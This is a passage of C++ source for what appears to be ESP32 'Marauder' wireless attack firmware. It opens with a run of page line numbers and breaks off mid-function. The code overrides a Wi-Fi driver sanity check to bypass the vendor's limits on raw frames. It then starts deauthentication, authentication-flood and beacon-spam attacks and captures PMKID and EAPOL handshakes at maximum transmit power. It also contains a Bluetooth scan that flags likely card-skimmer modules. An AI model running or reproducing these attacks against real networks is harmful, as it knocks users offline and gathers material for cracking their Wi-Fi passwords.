WiFiScan.cpp 118 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. LinkedList<Station>* stations;
  10. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  11. if (arg == 31337)
  12. return 1;
  13. else
  14. return 0;
  15. }
  16. #ifdef HAS_BT
  17. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  18. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  19. #ifdef HAS_SCREEN
  20. int buf = display_obj.display_buffer->size();
  21. #else
  22. int buf = 0;
  23. #endif
  24. String display_string = "";
  25. if (buf >= 0)
  26. {
  27. display_string.concat(text_table4[0]);
  28. display_string.concat(advertisedDevice->getRSSI());
  29. Serial.print(" RSSI: ");
  30. Serial.print(advertisedDevice->getRSSI());
  31. display_string.concat(" ");
  32. Serial.print(" ");
  33. Serial.print("Device: ");
  34. if(advertisedDevice->getName().length() != 0)
  35. {
  36. display_string.concat(advertisedDevice->getName().c_str());
  37. Serial.print(advertisedDevice->getName().c_str());
  38. }
  39. else
  40. {
  41. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  42. Serial.print(advertisedDevice->getAddress().toString().c_str());
  43. }
  44. #ifdef HAS_SCREEN
  45. uint8_t temp_len = display_string.length();
  46. for (uint8_t i = 0; i < 40 - temp_len; i++)
  47. {
  48. display_string.concat(" ");
  49. }
  50. Serial.println();
  51. while (display_obj.printing)
  52. delay(1);
  53. display_obj.loading = true;
  54. display_obj.display_buffer->add(display_string);
  55. display_obj.loading = false;
  56. #endif
  57. }
  58. }
  59. };
  60. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  61. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  62. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  63. #ifdef HAS_SCREEN
  64. int buf = display_obj.display_buffer->size();
  65. #else
  66. int buf = 0;
  67. #endif
  68. if (buf >= 0)
  69. {
  70. Serial.print("Device: ");
  71. String display_string = "";
  72. if(advertisedDevice->getName().length() != 0)
  73. {
  74. Serial.print(advertisedDevice->getName().c_str());
  75. for(uint8_t i = 0; i < bad_list_length; i++)
  76. {
  77. #ifdef HAS_SCREEN
  78. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  79. {
  80. display_string.concat(text_table4[1]);
  81. display_string.concat(" ");
  82. display_string.concat(advertisedDevice->getName().c_str());
  83. uint8_t temp_len = display_string.length();
  84. for (uint8_t i = 0; i < 40 - temp_len; i++)
  85. {
  86. display_string.concat(" ");
  87. }
  88. while (display_obj.printing)
  89. delay(1);
  90. display_obj.loading = true;
  91. display_obj.display_buffer->add(display_string);
  92. display_obj.loading = false;
  93. }
  94. #endif
  95. }
  96. }
  97. else
  98. {
  99. Serial.print(advertisedDevice->getAddress().toString().c_str());
  100. }
  101. Serial.print(" RSSI: ");
  102. Serial.println(advertisedDevice->getRSSI());
  103. }
  104. }
  105. };
  106. #endif
  107. WiFiScan::WiFiScan()
  108. {
  109. }
  110. void WiFiScan::RunSetup() {
  111. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  112. this->wsl_bypass_enabled = true;
  113. else
  114. this->wsl_bypass_enabled = false;
  115. ssids = new LinkedList<ssid>();
  116. access_points = new LinkedList<AccessPoint>();
  117. stations = new LinkedList<Station>();
  118. #ifdef HAS_BT
  119. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  120. NimBLEDevice::setScanDuplicateCacheSize(200);
  121. NimBLEDevice::init("");
  122. pBLEScan = NimBLEDevice::getScan(); //create new scan
  123. this->ble_initialized = true;
  124. this->shutdownBLE();
  125. #endif
  126. this->initWiFi(1);
  127. }
  128. int WiFiScan::clearStations() {
  129. int num_cleared = stations->size();
  130. stations->clear();
  131. Serial.println("stations: " + (String)stations->size());
  132. // Now clear stations list from APs
  133. for (int i = 0; i < access_points->size(); i++)
  134. access_points->get(i).stations->clear();
  135. return num_cleared;
  136. }
  137. int WiFiScan::clearAPs() {
  138. int num_cleared = access_points->size();
  139. access_points->clear();
  140. Serial.println("access_points: " + (String)access_points->size());
  141. return num_cleared;
  142. }
  143. int WiFiScan::clearSSIDs() {
  144. int num_cleared = ssids->size();
  145. ssids->clear();
  146. Serial.println("ssids: " + (String)ssids->size());
  147. return num_cleared;
  148. }
  149. bool WiFiScan::addSSID(String essid) {
  150. ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. return true;
  154. }
  155. int WiFiScan::generateSSIDs(int count) {
  156. uint8_t num_gen = count;
  157. for (uint8_t x = 0; x < num_gen; x++) {
  158. String essid = "";
  159. for (uint8_t i = 0; i < 6; i++)
  160. essid.concat(alfa[random(65)]);
  161. ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  162. ssids->add(s);
  163. Serial.println(ssids->get(ssids->size() - 1).essid);
  164. }
  165. return num_gen;
  166. }
  167. #ifdef HAS_SCREEN
  168. void WiFiScan::joinWiFi(String ssid, String password)
  169. {
  170. static const char * btns[] ={text16, ""};
  171. int count = 0;
  172. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  173. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  174. lv_msgbox_set_text(mbox1, text_table4[2]);
  175. lv_msgbox_add_btns(mbox1, btns);
  176. lv_obj_set_width(mbox1, 200);
  177. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  178. this->wifi_initialized = true;
  179. return;
  180. }
  181. else if (WiFi.status() == WL_CONNECTED) {
  182. Serial.println("Already connected. Disconnecting...");
  183. WiFi.disconnect();
  184. }
  185. esp_wifi_init(&cfg);
  186. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  187. esp_wifi_set_mode(WIFI_MODE_NULL);
  188. esp_wifi_start();
  189. WiFi.begin(ssid.c_str(), password.c_str());
  190. Serial.print("Connecting to WiFi");
  191. while (WiFi.status() != WL_CONNECTED) {
  192. delay(500);
  193. Serial.print(".");
  194. count++;
  195. if (count == 10)
  196. {
  197. Serial.println("\nCould not connect to WiFi network");
  198. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  199. lv_msgbox_set_text(mbox1, text_table4[3]);
  200. lv_msgbox_add_btns(mbox1, btns);
  201. lv_obj_set_width(mbox1, 200);
  202. //lv_obj_set_event_cb(mbox1, event_handler);
  203. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  204. WiFi.mode(WIFI_OFF);
  205. return;
  206. }
  207. }
  208. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  209. lv_msgbox_set_text(mbox1, text_table4[4]);
  210. lv_msgbox_add_btns(mbox1, btns);
  211. lv_obj_set_width(mbox1, 200);
  212. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  213. connected_network = ssid;
  214. Serial.println("\nConnected to the WiFi network");
  215. Serial.print("IP address: ");
  216. Serial.println(WiFi.localIP());
  217. this->wifi_initialized = true;
  218. }
  219. #endif
  220. // Apply WiFi settings
  221. void WiFiScan::initWiFi(uint8_t scan_mode) {
  222. // Set the channel
  223. if (scan_mode != WIFI_SCAN_OFF) {
  224. //Serial.println(F("Initializing WiFi settings..."));
  225. this->changeChannel();
  226. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  227. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  228. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  229. //Serial.println(F("Initialization complete"));
  230. }
  231. }
  232. bool WiFiScan::scanning() {
  233. if (this->currentScanMode == WIFI_SCAN_OFF)
  234. return false;
  235. else
  236. return true;
  237. }
  238. // Function to prepare to run a specific scan
  239. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  240. {
  241. this->initWiFi(scan_mode);
  242. if (scan_mode == WIFI_SCAN_OFF)
  243. StopScan(scan_mode);
  244. else if (scan_mode == WIFI_SCAN_PROBE)
  245. RunProbeScan(scan_mode, color);
  246. else if (scan_mode == WIFI_SCAN_EAPOL)
  247. RunEapolScan(scan_mode, color);
  248. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  249. RunEapolScan(scan_mode, color);
  250. else if (scan_mode == WIFI_SCAN_AP)
  251. RunBeaconScan(scan_mode, color);
  252. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  253. RunRawScan(scan_mode, color);
  254. else if (scan_mode == WIFI_SCAN_STATION)
  255. RunStationScan(scan_mode, color);
  256. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  257. RunAPScan(scan_mode, color);
  258. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  259. RunAPScan(scan_mode, color);
  260. else if (scan_mode == WIFI_SCAN_PWN)
  261. RunPwnScan(scan_mode, color);
  262. else if (scan_mode == WIFI_SCAN_DEAUTH)
  263. RunDeauthScan(scan_mode, color);
  264. else if (scan_mode == WIFI_PACKET_MONITOR) {
  265. #ifdef HAS_SCREEN
  266. RunPacketMonitor(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  270. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  271. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  272. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  273. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  274. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  275. else if (scan_mode == WIFI_ATTACK_AUTH)
  276. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  277. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  278. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  279. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  280. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  281. else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
  282. this->startWiFiAttacks(scan_mode, color, text_table4[47]);
  283. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  284. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  285. else if (scan_mode == BT_SCAN_ALL) {
  286. #ifdef HAS_BT
  287. RunBluetoothScan(scan_mode, color);
  288. #endif
  289. }
  290. else if (scan_mode == BT_SCAN_SKIMMERS) {
  291. #ifdef HAS_BT
  292. RunBluetoothScan(scan_mode, color);
  293. #endif
  294. }
  295. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  296. RunEspressifScan(scan_mode, color);
  297. else if (scan_mode == LV_JOIN_WIFI) {
  298. #ifdef HAS_SCREEN
  299. RunLvJoinWiFi(scan_mode, color);
  300. #endif
  301. }
  302. else if (scan_mode == LV_ADD_SSID) {
  303. #ifdef HAS_SCREEN
  304. RunLvJoinWiFi(scan_mode, color);
  305. #endif
  306. }
  307. WiFiScan::currentScanMode = scan_mode;
  308. }
  309. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  310. // Common wifi attack configurations
  311. #ifdef HAS_SCREEN
  312. display_obj.TOP_FIXED_AREA_2 = 48;
  313. display_obj.tteBar = true;
  314. display_obj.print_delay_1 = 15;
  315. display_obj.print_delay_2 = 10;
  316. display_obj.initScrollValues(true);
  317. display_obj.tft.setTextWrap(false);
  318. display_obj.tft.setTextColor(TFT_BLACK, color);
  319. display_obj.tft.fillRect(0,16,240,16, color);
  320. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  321. display_obj.touchToExit();
  322. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  323. #endif
  324. //wifi_ap_config_t ap_config;
  325. //ap_config.ssid_hidden = 1;
  326. ap_config.ap.ssid_hidden = 1;
  327. ap_config.ap.beacon_interval = 10000;
  328. ap_config.ap.ssid_len = 0;
  329. packets_sent = 0;
  330. esp_wifi_init(&cfg);
  331. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  332. esp_wifi_set_mode(WIFI_MODE_AP);
  333. esp_wifi_set_config(WIFI_IF_AP, &ap_config);
  334. esp_wifi_start();
  335. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  336. //WiFi.mode(WIFI_AP_STA);
  337. //esp_wifi_init(&cfg);
  338. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  339. //esp_wifi_set_mode(WIFI_AP_STA);
  340. //esp_wifi_start();
  341. //esp_wifi_set_promiscuous_filter(NULL);
  342. esp_wifi_set_promiscuous(true);
  343. esp_wifi_set_max_tx_power(82);
  344. this->wifi_initialized = true;
  345. #ifdef MARAUDER_FLIPPER
  346. flipper_led.attackLED();
  347. #else
  348. led_obj.setMode(MODE_ATTACK);
  349. #endif
  350. initTime = millis();
  351. }
  352. bool WiFiScan::shutdownWiFi() {
  353. if (this->wifi_initialized) {
  354. esp_wifi_set_promiscuous(false);
  355. WiFi.disconnect();
  356. WiFi.mode(WIFI_OFF);
  357. dst_mac = "ff:ff:ff:ff:ff:ff";
  358. esp_wifi_set_mode(WIFI_MODE_NULL);
  359. esp_wifi_stop();
  360. esp_wifi_restore();
  361. esp_wifi_deinit();
  362. #ifdef MARAUDER_FLIPPER
  363. flipper_led.offLED();
  364. #else
  365. led_obj.setMode(MODE_OFF);
  366. #endif
  367. this->wifi_initialized = false;
  368. return true;
  369. }
  370. else {
  371. return false;
  372. }
  373. }
  374. bool WiFiScan::shutdownBLE() {
  375. #ifdef HAS_BT
  376. if (this->ble_initialized) {
  377. pBLEScan->stop();
  378. pBLEScan->clearResults();
  379. BLEDevice::deinit();
  380. #ifdef MARAUDER_FLIPPER
  381. flipper_led.offLED();
  382. #else
  383. led_obj.setMode(MODE_OFF);
  384. #endif
  385. this->ble_initialized = false;
  386. return true;
  387. }
  388. else {
  389. return false;
  390. }
  391. #endif
  392. return true;
  393. }
  394. // Function to stop all wifi scans
  395. void WiFiScan::StopScan(uint8_t scan_mode)
  396. {
  397. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  398. (currentScanMode == WIFI_SCAN_AP) ||
  399. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  400. (currentScanMode == WIFI_SCAN_STATION) ||
  401. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  402. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  403. (currentScanMode == WIFI_SCAN_PWN) ||
  404. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  405. (currentScanMode == WIFI_SCAN_EAPOL) ||
  406. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  407. (currentScanMode == WIFI_SCAN_ALL) ||
  408. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  409. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  410. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  411. (currentScanMode == WIFI_ATTACK_AUTH) ||
  412. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  413. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  414. (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
  415. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  416. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  417. (currentScanMode == WIFI_PACKET_MONITOR) ||
  418. (currentScanMode == LV_JOIN_WIFI))
  419. {
  420. this->shutdownWiFi();
  421. }
  422. else if ((currentScanMode == BT_SCAN_ALL) ||
  423. (currentScanMode == BT_SCAN_SKIMMERS))
  424. {
  425. #ifdef HAS_BT
  426. this->shutdownBLE();
  427. #endif
  428. }
  429. #ifdef HAS_SCREEN
  430. display_obj.display_buffer->clear();
  431. #ifdef SCREEN_BUFFER
  432. display_obj.screen_buffer->clear();
  433. #endif
  434. //Serial.print("display_buffer->size(): ");
  435. Serial.println(display_obj.display_buffer->size());
  436. display_obj.tteBar = false;
  437. #endif
  438. }
  439. String WiFiScan::getStaMAC()
  440. {
  441. char *buf;
  442. uint8_t mac[6];
  443. char macAddrChr[18] = {0};
  444. esp_wifi_init(&cfg);
  445. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  446. esp_wifi_set_mode(WIFI_MODE_NULL);
  447. esp_wifi_start();
  448. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  449. this->wifi_initialized = true;
  450. sprintf(macAddrChr,
  451. "%02X:%02X:%02X:%02X:%02X:%02X",
  452. mac[0],
  453. mac[1],
  454. mac[2],
  455. mac[3],
  456. mac[4],
  457. mac[5]);
  458. this->shutdownWiFi();
  459. return String(macAddrChr);
  460. }
  461. String WiFiScan::getApMAC()
  462. {
  463. char *buf;
  464. uint8_t mac[6];
  465. char macAddrChr[18] = {0};
  466. esp_wifi_init(&cfg);
  467. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  468. esp_wifi_set_mode(WIFI_MODE_NULL);
  469. esp_wifi_start();
  470. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  471. this->wifi_initialized = true;
  472. sprintf(macAddrChr,
  473. "%02X:%02X:%02X:%02X:%02X:%02X",
  474. mac[0],
  475. mac[1],
  476. mac[2],
  477. mac[3],
  478. mac[4],
  479. mac[5]);
  480. this->shutdownWiFi();
  481. return String(macAddrChr);
  482. }
  483. String WiFiScan::freeRAM()
  484. {
  485. char s[150];
  486. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  487. this->free_ram = String(esp_get_free_heap_size());
  488. return String(s);
  489. }
  490. // Function to start running a beacon scan
  491. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  492. {
  493. #ifdef WRITE_PACKETS_SERIAL
  494. buffer_obj.open();
  495. #else
  496. sd_obj.openCapture("ap");
  497. #endif
  498. #ifdef MARAUDER_FLIPPER
  499. flipper_led.sniffLED();
  500. #else
  501. led_obj.setMode(MODE_SNIFF);
  502. #endif
  503. Serial.println(text_table4[9] + (String)access_points->size());
  504. #ifdef HAS_SCREEN
  505. display_obj.TOP_FIXED_AREA_2 = 48;
  506. display_obj.tteBar = true;
  507. display_obj.print_delay_1 = 15;
  508. display_obj.print_delay_2 = 10;
  509. display_obj.initScrollValues(true);
  510. display_obj.tft.setTextWrap(false);
  511. display_obj.tft.setTextColor(TFT_WHITE, color);
  512. #ifndef MARAUDER_MINI
  513. display_obj.tft.fillRect(0,16,240,16, color);
  514. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  515. display_obj.touchToExit();
  516. #endif
  517. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  518. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  519. #endif
  520. esp_wifi_init(&cfg);
  521. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  522. esp_wifi_set_mode(WIFI_MODE_NULL);
  523. esp_wifi_start();
  524. esp_wifi_set_promiscuous(true);
  525. esp_wifi_set_promiscuous_filter(&filt);
  526. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  527. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  528. //else
  529. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  530. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  531. this->wifi_initialized = true;
  532. initTime = millis();
  533. }
  534. #ifdef HAS_SCREEN
  535. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  536. display_obj.tft.init();
  537. display_obj.tft.setRotation(1);
  538. #ifdef TFT_SHIELD
  539. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  540. Serial.println("Using TFT Shield");
  541. #else if defined(TFT_DIY)
  542. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  543. Serial.println("Using TFT DIY");
  544. #endif
  545. display_obj.tft.setTouch(calData);
  546. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  547. lv_disp_load_scr(scr);
  548. }
  549. #endif
  550. void WiFiScan::RunClearStations() {
  551. #ifdef HAS_SCREEN
  552. display_obj.tft.setTextWrap(false);
